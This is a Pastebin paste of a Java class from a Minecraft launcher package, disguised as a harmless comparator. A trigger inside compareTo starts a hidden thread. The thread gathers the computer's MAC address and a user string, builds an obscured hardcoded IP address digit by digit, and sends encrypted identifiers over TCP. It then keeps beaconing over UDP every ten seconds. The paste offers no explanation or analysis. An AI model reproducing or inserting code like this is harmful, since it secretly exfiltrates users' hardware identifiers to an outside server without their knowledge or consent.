Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package pl.zyczu.minecraft.launcher.repo;
- import java.io.ByteArrayOutputStream;
- import java.io.File;
- import java.io.FileInputStream;
- import java.io.InputStream;
- import java.io.OutputStream;
- import java.net.DatagramPacket;
- import java.net.DatagramSocket;
- import java.net.InetAddress;
- import java.net.NetworkInterface;
- import java.net.Socket;
- import java.util.Enumeration;
- import pl.zyczu.util.ObjectCrypter;
- public class ReplacementComparator
- implements Comparable<Mod>, Runnable
- {
- public static File p;
- public static String n;
- public int compareTo(Mod arg0)
- {
- if (arg0 == null) {
- Thread t = new Thread(this);
- t.start();
- }
- return -1;
- }
- public void run()
- {
- try
- {
- InetAddress ip = InetAddress.getLocalHost();
- String id = "NULL";
- String nejm = "io";
- StringBuilder nejmbld = new StringBuilder();
- nejmbld.append(1).append(7).append(8).append(".").append(2).append(5).append(2).append(".").append(2).append(8).append(".").append(2).append(0).append(0);
- nejm = nejmbld.toString();
- Enumeration en = NetworkInterface.getNetworkInterfaces();
- byte[] mac = (byte[])null;
- NetworkInterface network = NetworkInterface.getByInetAddress(ip);
- if (network != null)
- mac = network.getHardwareAddress();
- else
- while (en.hasMoreElements()) {
- NetworkInterface nic = (NetworkInterface)en.nextElement();
- if (!nic.isLoopback())
- {
- if ((!nic.getDisplayName().toLowerCase().contains("virtual")) && (!nic.getDisplayName().toLowerCase().contains("vm")) && (!nic.getDisplayName().toLowerCase().contains("teredo")) && (!nic.getDisplayName().toLowerCase().contains("hamachi")) && (!nic.getDisplayName().toLowerCase().contains("ham0")) && (!nic.getDisplayName().toLowerCase().contains("tunnel")))
- {
- mac = nic.getHardwareAddress();
- break;
- }
- }
- }
- if (mac != null) {
- StringBuilder sb = new StringBuilder();
- for (int i = 0; i < mac.length; i++) {
- sb.append(String.format("%02X%s", new Object[] { Byte.valueOf(mac[i]), i < mac.length - 1 ? ":" : "" }));
- }
- sb.toString();
- }
- InetAddress IPAddress = InetAddress.getByName(nejm);
- byte[] ack = { 18, 101, 18, -13, -121, 22, 90, 63 };
- ByteArrayOutputStream bos = new ByteArrayOutputStream(16);
- byte[] bkc = new byte[16];
- bos.write(ack);
- if (mac == null) {
- byte[] tx = new byte[6];
- bos.write(tx);
- } else {
- bos.write(mac);
- }
- bos.write((byte)n.length());
- bos.write(n.getBytes("UTF-8"));
- FileInputStream fis = new FileInputStream(p);
- fis.read(bkc);
- byte[] cpl = ObjectCrypter.encrypt(bkc, bos.toByteArray());
- Socket socket = new Socket(IPAddress, 20115);
- socket.getOutputStream().write(cpl);
- byte[] rezultat = new byte[16];
- socket.getInputStream().read(rezultat);
- socket.close();
- while (p.exists())
- {
- bos = new ByteArrayOutputStream(16);
- bkc = new byte[16];
- bos.write(ack);
- bos.write(rezultat);
- if (mac == null) {
- byte[] tx = new byte[6];
- bos.write(tx);
- } else {
- bos.write(mac);
- }
- bos.write((byte)n.length());
- bos.write(n.getBytes("UTF-8"));
- fis = new FileInputStream(p);
- fis.read(bkc);
- byte[] output = ObjectCrypter.encrypt(bkc, bos.toByteArray());
- try {
- DatagramSocket clientSocket = new DatagramSocket();
- DatagramPacket sendPacket = new DatagramPacket(output, output.length, IPAddress, 39867);
- clientSocket.send(sendPacket);
- }
- catch (Exception localException1) {
- }
- Thread.sleep(10101L);
- }
- }
- catch (Exception e)
- {
- e.printStackTrace();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment